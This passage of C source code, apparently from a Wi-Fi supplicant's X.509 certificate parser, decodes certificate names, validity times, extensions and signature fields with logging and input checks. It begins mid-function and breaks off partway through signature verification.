x509_free_name(name); return -1; } val = os_malloc(hdr.length + 1); if (val == NULL) { x509_free_name(name); return -1; } os_memcpy(val, hdr.payload, hdr.length); val[hdr.length] = '\0'; if (os_strlen(val) != hdr.length) { wpa_printf(MSG_INFO, "X509: Reject certificate with " "embedded NUL byte in a string (%s[NUL])", val); x509_free_name(name); return -1; } name->attr[name->num_attr].type = type; name->attr[name->num_attr].value = val; name->num_attr++; } return 0; } static char * x509_name_attr_str(enum x509_name_attr_type type) { switch (type) { case X509_NAME_ATTR_NOT_USED: return "[N/A]"; case X509_NAME_ATTR_DC: return "DC"; case X509_NAME_ATTR_CN: return "CN"; case X509_NAME_ATTR_C: return "C"; case X509_NAME_ATTR_L: return "L"; case X509_NAME_ATTR_ST: return "ST"; case X509_NAME_ATTR_O: return "O"; case X509_NAME_ATTR_OU: return "OU"; } return "?"; } /** * x509_name_string - Convert an X.509 certificate name into a string * @name: Name to convert * @buf: Buffer for the string * @len: Maximum buffer length */ void x509_name_string(struct x509_name *name, char *buf, size_t len) { char *pos, *end; int ret; size_t i; if (len == 0) return; pos = buf; end = buf + len; for (i = 0; i < name->num_attr; i++) { ret = os_snprintf(pos, end - pos, "%s=%s, ", x509_name_attr_str(name->attr[i].type), name->attr[i].value); if (ret < 0 || ret >= end - pos) goto done; pos += ret; } if (pos > buf + 1 && pos[-1] == ' ' && pos[-2] == ',') { pos--; *pos = '\0'; pos--; *pos = '\0'; } if (name->email) { ret = os_snprintf(pos, end - pos, "/emailAddress=%s", name->email); if (ret < 0 || ret >= end - pos) goto done; pos += ret; } done: end[-1] = '\0'; } static int x509_parse_time(const u8 *buf, size_t len, u8 asn1_tag, os_time_t *val) { const char *pos; int year, month, day, hour, min, sec; /* * Time ::= CHOICE { * utcTime UTCTime, * generalTime GeneralizedTime * } * * UTCTime: YYMMDDHHMMSSZ * GeneralizedTime: YYYYMMDDHHMMSSZ */ pos = (const char *) buf; switch (asn1_tag) { case ASN1_TAG_UTCTIME: if (len != 13 || buf[12] != 'Z') { wpa_hexdump_ascii(MSG_DEBUG, "X509: Unrecognized " "UTCTime format", buf, len); return -1; } if (sscanf(pos, "%02d", &year) != 1) { wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse " "UTCTime year", buf, len); return -1; } if (year < 50) year += 2000; else year += 1900; pos += 2; break; case ASN1_TAG_GENERALIZEDTIME: if (len != 15 || buf[14] != 'Z') { wpa_hexdump_ascii(MSG_DEBUG, "X509: Unrecognized " "GeneralizedTime format", buf, len); return -1; } if (sscanf(pos, "%04d", &year) != 1) { wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse " "GeneralizedTime year", buf, len); return -1; } pos += 4; break; default: wpa_printf(MSG_DEBUG, "X509: Expected UTCTime or " "GeneralizedTime - found tag 0x%x", asn1_tag); return -1; } if (sscanf(pos, "%02d", &month) != 1) { wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse Time " "(month)", buf, len); return -1; } pos += 2; if (sscanf(pos, "%02d", &day) != 1) { wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse Time " "(day)", buf, len); return -1; } pos += 2; if (sscanf(pos, "%02d", &hour) != 1) { wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse Time " "(hour)", buf, len); return -1; } pos += 2; if (sscanf(pos, "%02d", &min) != 1) { wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse Time " "(min)", buf, len); return -1; } pos += 2; if (sscanf(pos, "%02d", &sec) != 1) { wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse Time " "(sec)", buf, len); return -1; } if (os_mktime(year, month, day, hour, min, sec, val) < 0) { wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to convert Time", buf, len); if (year < 1970) { /* * At least some test certificates have been configured * to use dates prior to 1970. Set the date to * beginning of 1970 to handle these case. */ wpa_printf(MSG_DEBUG, "X509: Year=%d before epoch - " "assume epoch as the time", year); *val = 0; return 0; } return -1; } return 0; } static int x509_parse_validity(const u8 *buf, size_t len, struct x509_certificate *cert, const u8 **next) { struct asn1_hdr hdr; const u8 *pos; size_t plen; /* * Validity ::= SEQUENCE { * notBefore Time, * notAfter Time * } * * RFC 3280, 4.1.2.5: * CAs conforming to this profile MUST always encode certificate * validity dates through the year 2049 as UTCTime; certificate * validity dates in 2050 or later MUST be encoded as GeneralizedTime. */ if (asn1_get_next(buf, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE " "(Validity) - found class %d tag 0x%x", hdr.class, hdr.tag); return -1; } pos = hdr.payload; plen = hdr.length; if (pos + plen > buf + len) return -1; *next = pos + plen; if (asn1_get_next(pos, plen, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || x509_parse_time(hdr.payload, hdr.length, hdr.tag, &cert->not_before) < 0) { wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse notBefore " "Time", hdr.payload, hdr.length); return -1; } pos = hdr.payload + hdr.length; plen = *next - pos; if (asn1_get_next(pos, plen, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || x509_parse_time(hdr.payload, hdr.length, hdr.tag, &cert->not_after) < 0) { wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse notAfter " "Time", hdr.payload, hdr.length); return -1; } wpa_printf(MSG_MSGDUMP, "X509: Validity: notBefore: %lu notAfter: %lu", (unsigned long) cert->not_before, (unsigned long) cert->not_after); return 0; } static int x509_id_ce_oid(struct asn1_oid *oid) { /* id-ce arc from X.509 for standard X.509v3 extensions */ return oid->len >= 4 && oid->oid[0] == 2 /* joint-iso-ccitt */ && oid->oid[1] == 5 /* ds */ && oid->oid[2] == 29 /* id-ce */; } static int x509_parse_ext_key_usage(struct x509_certificate *cert, const u8 *pos, size_t len) { struct asn1_hdr hdr; /* * KeyUsage ::= BIT STRING { * digitalSignature (0), * nonRepudiation (1), * keyEncipherment (2), * dataEncipherment (3), * keyAgreement (4), * keyCertSign (5), * cRLSign (6), * encipherOnly (7), * decipherOnly (8) } */ if (asn1_get_next(pos, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_BITSTRING || hdr.length < 1) { wpa_printf(MSG_DEBUG, "X509: Expected BIT STRING in " "KeyUsage; found %d tag 0x%x len %d", hdr.class, hdr.tag, hdr.length); return -1; } cert->extensions_present |= X509_EXT_KEY_USAGE; cert->key_usage = asn1_bit_string_to_long(hdr.payload, hdr.length); wpa_printf(MSG_DEBUG, "X509: KeyUsage 0x%lx", cert->key_usage); return 0; } static int x509_parse_ext_basic_constraints(struct x509_certificate *cert, const u8 *pos, size_t len) { struct asn1_hdr hdr; unsigned long value; size_t left; /* * BasicConstraints ::= SEQUENCE { * cA BOOLEAN DEFAULT FALSE, * pathLenConstraint INTEGER (0..MAX) OPTIONAL } */ if (asn1_get_next(pos, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE in " "BasicConstraints; found %d tag 0x%x", hdr.class, hdr.tag); return -1; } cert->extensions_present |= X509_EXT_BASIC_CONSTRAINTS; if (hdr.length == 0) return 0; if (asn1_get_next(hdr.payload, hdr.length, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL) { wpa_printf(MSG_DEBUG, "X509: Failed to parse " "BasicConstraints"); return -1; } if (hdr.tag == ASN1_TAG_BOOLEAN) { if (hdr.length != 1) { wpa_printf(MSG_DEBUG, "X509: Unexpected " "Boolean length (%u) in BasicConstraints", hdr.length); return -1; } cert->ca = hdr.payload[0]; if (hdr.payload + hdr.length == pos + len) { wpa_printf(MSG_DEBUG, "X509: BasicConstraints - cA=%d", cert->ca); return 0; } if (asn1_get_next(hdr.payload + hdr.length, len - hdr.length, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL) { wpa_printf(MSG_DEBUG, "X509: Failed to parse " "BasicConstraints"); return -1; } } if (hdr.tag != ASN1_TAG_INTEGER) { wpa_printf(MSG_DEBUG, "X509: Expected INTEGER in " "BasicConstraints; found class %d tag 0x%x", hdr.class, hdr.tag); return -1; } pos = hdr.payload; left = hdr.length; value = 0; while (left) { value <<= 8; value |= *pos++; left--; } cert->path_len_constraint = value; cert->extensions_present |= X509_EXT_PATH_LEN_CONSTRAINT; wpa_printf(MSG_DEBUG, "X509: BasicConstraints - cA=%d " "pathLenConstraint=%lu", cert->ca, cert->path_len_constraint); return 0; } static int x509_parse_alt_name_rfc8222(struct x509_name *name, const u8 *pos, size_t len) { /* rfc822Name IA5String */ wpa_hexdump_ascii(MSG_MSGDUMP, "X509: altName - rfc822Name", pos, len); os_free(name->alt_email); name->alt_email = os_zalloc(len + 1); if (name->alt_email == NULL) return -1; os_memcpy(name->alt_email, pos, len); if (os_strlen(name->alt_email) != len) { wpa_printf(MSG_INFO, "X509: Reject certificate with " "embedded NUL byte in rfc822Name (%s[NUL])", name->alt_email); os_free(name->alt_email); name->alt_email = NULL; return -1; } return 0; } static int x509_parse_alt_name_dns(struct x509_name *name, const u8 *pos, size_t len) { /* dNSName IA5String */ wpa_hexdump_ascii(MSG_MSGDUMP, "X509: altName - dNSName", pos, len); os_free(name->dns); name->dns = os_zalloc(len + 1); if (name->dns == NULL) return -1; os_memcpy(name->dns, pos, len); if (os_strlen(name->dns) != len) { wpa_printf(MSG_INFO, "X509: Reject certificate with " "embedded NUL byte in dNSName (%s[NUL])", name->dns); os_free(name->dns); name->dns = NULL; return -1; } return 0; } static int x509_parse_alt_name_uri(struct x509_name *name, const u8 *pos, size_t len) { /* uniformResourceIdentifier IA5String */ wpa_hexdump_ascii(MSG_MSGDUMP, "X509: altName - uniformResourceIdentifier", pos, len); os_free(name->uri); name->uri = os_zalloc(len + 1); if (name->uri == NULL) return -1; os_memcpy(name->uri, pos, len); if (os_strlen(name->uri) != len) { wpa_printf(MSG_INFO, "X509: Reject certificate with " "embedded NUL byte in uniformResourceIdentifier " "(%s[NUL])", name->uri); os_free(name->uri); name->uri = NULL; return -1; } return 0; } static int x509_parse_alt_name_ip(struct x509_name *name, const u8 *pos, size_t len) { /* iPAddress OCTET STRING */ wpa_hexdump(MSG_MSGDUMP, "X509: altName - iPAddress", pos, len); os_free(name->ip); name->ip = os_malloc(len); if (name->ip == NULL) return -1; os_memcpy(name->ip, pos, len); name->ip_len = len; return 0; } static int x509_parse_alt_name_rid(struct x509_name *name, const u8 *pos, size_t len) { char buf[80]; /* registeredID OBJECT IDENTIFIER */ if (asn1_parse_oid(pos, len, &name->rid) < 0) return -1; asn1_oid_to_str(&name->rid, buf, sizeof(buf)); wpa_printf(MSG_MSGDUMP, "X509: altName - registeredID: %s", buf); return 0; } static int x509_parse_ext_alt_name(struct x509_name *name, const u8 *pos, size_t len) { struct asn1_hdr hdr; const u8 *p, *end; /* * GeneralNames ::= SEQUENCE SIZE (1..MAX) OF GeneralName * * GeneralName ::= CHOICE { * otherName [0] OtherName, * rfc822Name [1] IA5String, * dNSName [2] IA5String, * x400Address [3] ORAddress, * directoryName [4] Name, * ediPartyName [5] EDIPartyName, * uniformResourceIdentifier [6] IA5String, * iPAddress [7] OCTET STRING, * registeredID [8] OBJECT IDENTIFIER } * * OtherName ::= SEQUENCE { * type-id OBJECT IDENTIFIER, * value [0] EXPLICIT ANY DEFINED BY type-id } * * EDIPartyName ::= SEQUENCE { * nameAssigner [0] DirectoryString OPTIONAL, * partyName [1] DirectoryString } */ for (p = pos, end = pos + len; p < end; p = hdr.payload + hdr.length) { int res; if (asn1_get_next(p, end - p, &hdr) < 0) { wpa_printf(MSG_DEBUG, "X509: Failed to parse " "SubjectAltName item"); return -1; } if (hdr.class != ASN1_CLASS_CONTEXT_SPECIFIC) continue; switch (hdr.tag) { case 1: res = x509_parse_alt_name_rfc8222(name, hdr.payload, hdr.length); break; case 2: res = x509_parse_alt_name_dns(name, hdr.payload, hdr.length); break; case 6: res = x509_parse_alt_name_uri(name, hdr.payload, hdr.length); break; case 7: res = x509_parse_alt_name_ip(name, hdr.payload, hdr.length); break; case 8: res = x509_parse_alt_name_rid(name, hdr.payload, hdr.length); break; case 0: /* TODO: otherName */ case 3: /* TODO: x500Address */ case 4: /* TODO: directoryName */ case 5: /* TODO: ediPartyName */ default: res = 0; break; } if (res < 0) return res; } return 0; } static int x509_parse_ext_subject_alt_name(struct x509_certificate *cert, const u8 *pos, size_t len) { struct asn1_hdr hdr; /* SubjectAltName ::= GeneralNames */ if (asn1_get_next(pos, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE in " "SubjectAltName; found %d tag 0x%x", hdr.class, hdr.tag); return -1; } wpa_printf(MSG_DEBUG, "X509: SubjectAltName"); cert->extensions_present |= X509_EXT_SUBJECT_ALT_NAME; if (hdr.length == 0) return 0; return x509_parse_ext_alt_name(&cert->subject, hdr.payload, hdr.length); } static int x509_parse_ext_issuer_alt_name(struct x509_certificate *cert, const u8 *pos, size_t len) { struct asn1_hdr hdr; /* IssuerAltName ::= GeneralNames */ if (asn1_get_next(pos, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE in " "IssuerAltName; found %d tag 0x%x", hdr.class, hdr.tag); return -1; } wpa_printf(MSG_DEBUG, "X509: IssuerAltName"); cert->extensions_present |= X509_EXT_ISSUER_ALT_NAME; if (hdr.length == 0) return 0; return x509_parse_ext_alt_name(&cert->issuer, hdr.payload, hdr.length); } static int x509_parse_extension_data(struct x509_certificate *cert, struct asn1_oid *oid, const u8 *pos, size_t len) { if (!x509_id_ce_oid(oid)) return 1; /* TODO: add other extensions required by RFC 3280, Ch 4.2: * certificate policies (section 4.2.1.5) * name constraints (section 4.2.1.11) * policy constraints (section 4.2.1.12) * extended key usage (section 4.2.1.13) * inhibit any-policy (section 4.2.1.15) */ switch (oid->oid[3]) { case 15: /* id-ce-keyUsage */ return x509_parse_ext_key_usage(cert, pos, len); case 17: /* id-ce-subjectAltName */ return x509_parse_ext_subject_alt_name(cert, pos, len); case 18: /* id-ce-issuerAltName */ return x509_parse_ext_issuer_alt_name(cert, pos, len); case 19: /* id-ce-basicConstraints */ return x509_parse_ext_basic_constraints(cert, pos, len); default: return 1; } } static int x509_parse_extension(struct x509_certificate *cert, const u8 *pos, size_t len, const u8 **next) { const u8 *end; struct asn1_hdr hdr; struct asn1_oid oid; int critical_ext = 0, res; char buf[80]; /* * Extension ::= SEQUENCE { * extnID OBJECT IDENTIFIER, * critical BOOLEAN DEFAULT FALSE, * extnValue OCTET STRING * } */ if (asn1_get_next(pos, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Unexpected ASN.1 header in " "Extensions: class %d tag 0x%x; expected SEQUENCE", hdr.class, hdr.tag); return -1; } pos = hdr.payload; *next = end = pos + hdr.length; if (asn1_get_oid(pos, end - pos, &oid, &pos) < 0) { wpa_printf(MSG_DEBUG, "X509: Unexpected ASN.1 data for " "Extension (expected OID)"); return -1; } if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || (hdr.tag != ASN1_TAG_BOOLEAN && hdr.tag != ASN1_TAG_OCTETSTRING)) { wpa_printf(MSG_DEBUG, "X509: Unexpected ASN.1 header in " "Extensions: class %d tag 0x%x; expected BOOLEAN " "or OCTET STRING", hdr.class, hdr.tag); return -1; } if (hdr.tag == ASN1_TAG_BOOLEAN) { if (hdr.length != 1) { wpa_printf(MSG_DEBUG, "X509: Unexpected " "Boolean length (%u)", hdr.length); return -1; } critical_ext = hdr.payload[0]; pos = hdr.payload; if (asn1_get_next(pos, end - pos, &hdr) < 0 || (hdr.class != ASN1_CLASS_UNIVERSAL && hdr.class != ASN1_CLASS_PRIVATE) || hdr.tag != ASN1_TAG_OCTETSTRING) { wpa_printf(MSG_DEBUG, "X509: Unexpected ASN.1 header " "in Extensions: class %d tag 0x%x; " "expected OCTET STRING", hdr.class, hdr.tag); return -1; } } asn1_oid_to_str(&oid, buf, sizeof(buf)); wpa_printf(MSG_DEBUG, "X509: Extension: extnID=%s critical=%d", buf, critical_ext); wpa_hexdump(MSG_MSGDUMP, "X509: extnValue", hdr.payload, hdr.length); res = x509_parse_extension_data(cert, &oid, hdr.payload, hdr.length); if (res < 0) return res; if (res == 1 && critical_ext) { wpa_printf(MSG_INFO, "X509: Unknown critical extension %s", buf); return -1; } return 0; } static int x509_parse_extensions(struct x509_certificate *cert, const u8 *pos, size_t len) { const u8 *end; struct asn1_hdr hdr; /* Extensions ::= SEQUENCE SIZE (1..MAX) OF Extension */ if (asn1_get_next(pos, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Unexpected ASN.1 data " "for Extensions: class %d tag 0x%x; " "expected SEQUENCE", hdr.class, hdr.tag); return -1; } pos = hdr.payload; end = pos + hdr.length; while (pos < end) { if (x509_parse_extension(cert, pos, end - pos, &pos) < 0) return -1; } return 0; } static int x509_parse_tbs_certificate(const u8 *buf, size_t len, struct x509_certificate *cert, const u8 **next) { struct asn1_hdr hdr; const u8 *pos, *end; size_t left; char sbuf[128]; unsigned long value; /* tbsCertificate TBSCertificate ::= SEQUENCE */ if (asn1_get_next(buf, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: tbsCertificate did not start " "with a valid SEQUENCE - found class %d tag 0x%x", hdr.class, hdr.tag); return -1; } pos = hdr.payload; end = *next = pos + hdr.length; /* * version [0] EXPLICIT Version DEFAULT v1 * Version ::= INTEGER { v1(0), v2(1), v3(2) } */ if (asn1_get_next(pos, end - pos, &hdr) < 0) return -1; pos = hdr.payload; if (hdr.class == ASN1_CLASS_CONTEXT_SPECIFIC) { if (asn1_get_next(pos, end - pos, &hdr) < 0) return -1; if (hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_INTEGER) { wpa_printf(MSG_DEBUG, "X509: No INTEGER tag found for " "version field - found class %d tag 0x%x", hdr.class, hdr.tag); return -1; } if (hdr.length != 1) { wpa_printf(MSG_DEBUG, "X509: Unexpected version field " "length %u (expected 1)", hdr.length); return -1; } pos = hdr.payload; left = hdr.length; value = 0; while (left) { value <<= 8; value |= *pos++; left--; } cert->version = value; if (cert->version != X509_CERT_V1 && cert->version != X509_CERT_V2 && cert->version != X509_CERT_V3) { wpa_printf(MSG_DEBUG, "X509: Unsupported version %d", cert->version + 1); return -1; } if (asn1_get_next(pos, end - pos, &hdr) < 0) return -1; } else cert->version = X509_CERT_V1; wpa_printf(MSG_MSGDUMP, "X509: Version X.509v%d", cert->version + 1); /* serialNumber CertificateSerialNumber ::= INTEGER */ if (hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_INTEGER) { wpa_printf(MSG_DEBUG, "X509: No INTEGER tag found for " "serialNumber; class=%d tag=0x%x", hdr.class, hdr.tag); return -1; } pos = hdr.payload; left = hdr.length; while (left) { cert->serial_number <<= 8; cert->serial_number |= *pos++; left--; } wpa_printf(MSG_MSGDUMP, "X509: serialNumber %lu", cert->serial_number); /* signature AlgorithmIdentifier */ if (x509_parse_algorithm_identifier(pos, end - pos, &cert->signature, &pos)) return -1; /* issuer Name */ if (x509_parse_name(pos, end - pos, &cert->issuer, &pos)) return -1; x509_name_string(&cert->issuer, sbuf, sizeof(sbuf)); wpa_printf(MSG_MSGDUMP, "X509: issuer %s", sbuf); /* validity Validity */ if (x509_parse_validity(pos, end - pos, cert, &pos)) return -1; /* subject Name */ if (x509_parse_name(pos, end - pos, &cert->subject, &pos)) return -1; x509_name_string(&cert->subject, sbuf, sizeof(sbuf)); wpa_printf(MSG_MSGDUMP, "X509: subject %s", sbuf); /* subjectPublicKeyInfo SubjectPublicKeyInfo */ if (x509_parse_public_key(pos, end - pos, cert, &pos)) return -1; if (pos == end) return 0; if (cert->version == X509_CERT_V1) return 0; if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_CONTEXT_SPECIFIC) { wpa_printf(MSG_DEBUG, "X509: Expected Context-Specific" " tag to parse optional tbsCertificate " "field(s); parsed class %d tag 0x%x", hdr.class, hdr.tag); return -1; } if (hdr.tag == 1) { /* issuerUniqueID [1] IMPLICIT UniqueIdentifier OPTIONAL */ wpa_printf(MSG_DEBUG, "X509: issuerUniqueID"); /* TODO: parse UniqueIdentifier ::= BIT STRING */ if (hdr.payload + hdr.length == end) return 0; if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_CONTEXT_SPECIFIC) { wpa_printf(MSG_DEBUG, "X509: Expected Context-Specific" " tag to parse optional tbsCertificate " "field(s); parsed class %d tag 0x%x", hdr.class, hdr.tag); return -1; } } if (hdr.tag == 2) { /* subjectUniqueID [2] IMPLICIT UniqueIdentifier OPTIONAL */ wpa_printf(MSG_DEBUG, "X509: subjectUniqueID"); /* TODO: parse UniqueIdentifier ::= BIT STRING */ if (hdr.payload + hdr.length == end) return 0; if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_CONTEXT_SPECIFIC) { wpa_printf(MSG_DEBUG, "X509: Expected Context-Specific" " tag to parse optional tbsCertificate " "field(s); parsed class %d tag 0x%x", hdr.class, hdr.tag); return -1; } } if (hdr.tag != 3) { wpa_printf(MSG_DEBUG, "X509: Ignored unexpected " "Context-Specific tag %d in optional " "tbsCertificate fields", hdr.tag); return 0; } /* extensions [3] EXPLICIT Extensions OPTIONAL */ if (cert->version != X509_CERT_V3) { wpa_printf(MSG_DEBUG, "X509: X.509%d certificate and " "Extensions data which are only allowed for " "version 3", cert->version + 1); return -1; } if (x509_parse_extensions(cert, hdr.payload, hdr.length) < 0) return -1; pos = hdr.payload + hdr.length; if (pos < end) { wpa_hexdump(MSG_DEBUG, "X509: Ignored extra tbsCertificate data", pos, end - pos); } return 0; } static int x509_rsadsi_oid(struct asn1_oid *oid) { return oid->len >= 4 && oid->oid[0] == 1 /* iso */ && oid->oid[1] == 2 /* member-body */ && oid->oid[2] == 840 /* us */ && oid->oid[3] == 113549 /* rsadsi */; } static int x509_pkcs_oid(struct asn1_oid *oid) { return oid->len >= 5 && x509_rsadsi_oid(oid) && oid->oid[4] == 1 /* pkcs */; } static int x509_digest_oid(struct asn1_oid *oid) { return oid->len >= 5 && x509_rsadsi_oid(oid) && oid->oid[4] == 2 /* digestAlgorithm */; } static int x509_sha1_oid(struct asn1_oid *oid) { return oid->len == 6 && oid->oid[0] == 1 /* iso */ && oid->oid[1] == 3 /* identified-organization */ && oid->oid[2] == 14 /* oiw */ && oid->oid[3] == 3 /* secsig */ && oid->oid[4] == 2 /* algorithms */ && oid->oid[5] == 26 /* id-sha1 */; } static int x509_sha256_oid(struct asn1_oid *oid) { return oid->len == 9 && oid->oid[0] == 2 /* joint-iso-itu-t */ && oid->oid[1] == 16 /* country */ && oid->oid[2] == 840 /* us */ && oid->oid[3] == 1 /* organization */ && oid->oid[4] == 101 /* gov */ && oid->oid[5] == 3 /* csor */ && oid->oid[6] == 4 /* nistAlgorithm */ && oid->oid[7] == 2 /* hashAlgs */ && oid->oid[8] == 1 /* sha256 */; } /** * x509_certificate_parse - Parse a X.509 certificate in DER format * @buf: Pointer to the X.509 certificate in DER format * @len: Buffer length * Returns: Pointer to the parsed certificate or %NULL on failure * * Caller is responsible for freeing the returned certificate by calling * x509_certificate_free(). */ struct x509_certificate * x509_certificate_parse(const u8 *buf, size_t len) { struct asn1_hdr hdr; const u8 *pos, *end, *hash_start; struct x509_certificate *cert; cert = os_zalloc(sizeof(*cert) + len); if (cert == NULL) return NULL; os_memcpy(cert + 1, buf, len); cert->cert_start = (u8 *) (cert + 1); cert->cert_len = len; pos = buf; end = buf + len; /* RFC 3280 - X.509 v3 certificate / ASN.1 DER */ /* Certificate ::= SEQUENCE */ if (asn1_get_next(pos, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Certificate did not start with " "a valid SEQUENCE - found class %d tag 0x%x", hdr.class, hdr.tag); x509_certificate_free(cert); return NULL; } pos = hdr.payload; if (pos + hdr.length > end) { x509_certificate_free(cert); return NULL; } if (pos + hdr.length < end) { wpa_hexdump(MSG_MSGDUMP, "X509: Ignoring extra data after DER " "encoded certificate", pos + hdr.length, end - pos + hdr.length); end = pos + hdr.length; } hash_start = pos; cert->tbs_cert_start = cert->cert_start + (hash_start - buf); if (x509_parse_tbs_certificate(pos, end - pos, cert, &pos)) { x509_certificate_free(cert); return NULL; } cert->tbs_cert_len = pos - hash_start; /* signatureAlgorithm AlgorithmIdentifier */ if (x509_parse_algorithm_identifier(pos, end - pos, &cert->signature_alg, &pos)) { x509_certificate_free(cert); return NULL; } /* signatureValue BIT STRING */ if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_BITSTRING) { wpa_printf(MSG_DEBUG, "X509: Expected BITSTRING " "(signatureValue) - found class %d tag 0x%x", hdr.class, hdr.tag); x509_certificate_free(cert); return NULL; } if (hdr.length < 1) { x509_certificate_free(cert); return NULL; } pos = hdr.payload; if (*pos) { wpa_printf(MSG_DEBUG, "X509: BITSTRING - %d unused bits", *pos); /* PKCS #1 v1.5 10.2.1: * It is an error if the length in bits of the signature S is * not a multiple of eight. */ x509_certificate_free(cert); return NULL; } os_free(cert->sign_value); cert->sign_value = os_malloc(hdr.length - 1); if (cert->sign_value == NULL) { wpa_printf(MSG_DEBUG, "X509: Failed to allocate memory for " "signatureValue"); x509_certificate_free(cert); return NULL; } os_memcpy(cert->sign_value, pos + 1, hdr.length - 1); cert->sign_value_len = hdr.length - 1; wpa_hexdump(MSG_MSGDUMP, "X509: signature", cert->sign_value, cert->sign_value_len); return cert; } /** * x509_certificate_check_signature - Verify certificate signature * @issuer: Issuer certificate * @cert: Certificate to be verified * Returns: 0 if cert has a valid signature that was signed by the issuer, * -1 if not */ int x509_certificate_check_signature(struct x509_certificate *issuer, struct x509_certificate *cert) { struct crypto_public_key *pk; u8 *data; const u8 *pos, *end, *next, *da_end; size_t data_len; struct asn1_hdr hdr; struct asn1_oid oid; u8 hash[32]; size_t hash_len; if (!x509_pkcs_oid(&cert->signature.oid) || cert->signature.oid.len != 7 || cert->signature.oid.oid[5] != 1 /* pkcs-1 */) { wpa_printf(MSG_DEBUG, "X509: Unrecognized signature " "algorithm"); return -1; } pk = crypto_public_key_import(issuer->public_key, issuer->public_key_len); if (pk == NULL) return -1; data_len = cert->sign_value_len; data = os_malloc(data_len); if (data == NULL) { crypto_public_key_free(pk); return -1; } if (crypto_public_key_decrypt_pkcs1(pk, cert->sign_value, cert->sign_value_len, data, &data_len) < 0) { wpa_printf(MSG_DEBUG, "X509: Failed to decrypt signature"); crypto_public_key_free(pk); os_free(data); return -1; } crypto_public_key_free(pk); wpa_hexdump(MSG_MSGDUMP, "X509: Signature data D", data, data_len); /* * PKCS #1 v1.5, 10.1.2: * * DigestInfo ::= SEQUENCE { * digestAlgorithm DigestAlgorithmIdentifier, * digest Digest * } * * DigestAlgorithmIdentifier ::= AlgorithmIdentifier * * Digest ::= OCTET STRING * */ if (asn1_get_next(data, data_len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE " "(DigestInfo) - found class %d tag 0x%x", hdr.class, hdr.tag); os_free(data); return -1; } pos = hdr.payload; end = pos + hdr.length; /* * X.509: * AlgorithmIdentifier ::= SEQUENCE { * algorithm OBJECT IDENTIFIER, * parameters ANY DEFINED BY algorithm OPTIONAL * } */ if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE " "(AlgorithmIdentifier) - found class %d tag 0x%x", hdr.class, hdr.tag); os_free(data); return -1; } da_end = hdr.payload + hdr.length; if (asn1_get_oid(hdr.payload, hdr.length, &oid, &next)) { wpa_printf(MSG_DEBUG, "X509: Failed to parse digestAlgorithm"); os_free(data); return -1; } if (x509_sha1_oid(&oid)) { if (cert->signature.oid.oid[6] != 5 /* sha-1WithRSAEncryption */) { wpa_printf(MSG_DEBUG, "X509: digestAlgorithm SHA1 " "does not match with certificate " "signatureAlgorithm (%lu)", cert->signature.oid.oid[6]); os_free(data); return -1; } goto skip_digest_oid; } if (x509_sha256_oid(&oid)) { if (cert->signature.oid.oid[6] != 11 /* sha2561WithRSAEncryption */) { wpa_printf(MSG_DEBUG, "X509: digestAlgorithm SHA256 " "does not match with certificate " "signatureAlgorithm (%lu)", cert->signature.oid.oid[6]); os_free(data); return -1; } goto skip_digest_oid; } if (!x509_digest_oid(&oid)) { wpa_printf(MSG_DEBUG, "X509: Unrecognized digestAlgorithm"); os_free(data); return -1; } switch (oid.oid[5]) { case 5: /* md5 */ if (cert->signature.oid.oid[6] != 4 /* md5WithRSAEncryption */) { 